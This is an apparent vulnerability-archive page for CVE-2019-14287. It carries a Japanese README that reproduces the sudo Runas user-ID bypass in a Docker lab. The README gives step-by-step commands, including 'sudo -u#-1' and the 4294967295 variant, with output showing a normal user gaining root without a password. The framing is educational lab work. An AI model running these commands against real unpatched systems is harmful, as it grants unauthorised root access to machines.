Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1310 CNY

100%

CVE-2019-14287 PoC — Sudo 输入验证错误漏洞

Source
Associated Vulnerability
Title:Sudo 输入验证错误漏洞 (CVE-2019-14287)
Description:In Sudo before 1.8.28, an attacker with access to a Runas ALL sudoer account can bypass certain policy blacklists and session PAM modules, and can cause incorrect logging, by invoking sudo with a crafted user ID. For example, this allows bypass of !root configuration, and USER= logging, for a "sudo -u \#$((0xffffffff))" command.
Readme
# PoC of CVE-2019-14287

## 概要
sudo の脆弱性 ([CVE-2019-14287](https://www.sudo.ws/security/advisories/minus_1_uid/)) を Docker コンテナ上で再現するサンプルです。

## 演習手順
1. `docker compose up -d` でコンテナを立ち上げる
1. `docker exec -it vulnerable_sudo_app bash` でコンテナに入る
1. `whoami`や `id`コマンドを実行して、自分が一般ユーザである(rootでない)ことを確認
    ```
    $ whoami
    user1
    $ id
    uid=1000(user1) gid=1000(user1) groups=1000(user1)
    $ id -u
    1000
    ```
1. `sudo -u#0 whoami` や `sudo -u#0 id -u` が実行できないことを確認する
    - uid (`-u` オプション) に 0 (root)を指定して実行する
    - パスワードを求められるが、パスワードは知らないので実行できない
    ```
    $ sudo -u#0 whoami
    [sudo] password for user1:
    $ sudo -u#0 id
    [sudo] password for user1:
    $ sudo -u#0 id -u
    [sudo] password for user1:
    ```
1. `sudo -u#-1 whoami` や `sudo -u#-1 id -u` を実行して、認証なしで root としてコマンドが実行できることを確認する(脆弱性の再現)
    - `-u#4294967295` でも同様のことができる
    ```
    $ sudo -u#-1 whoami
    root
    $ sudo -u#-1 id
    uid=0(root) gid=1000(user1) groups=1000(user1)
    $ sudo -u#-1 id -u
    0
    ```

## 参考
- [CVE \- CVE\-2019\-14287](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-14287)
- [Potential bypass of Runas user restrictions \| Sudo](https://www.sudo.ws/security/advisories/minus_1_uid/)
- [sudoの脆弱性\(CVE\-2019\-14287\)についてまとめてみた \- Qiita](https://qiita.com/task4233/items/80a5ea1c0b4f8e45db2e)
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →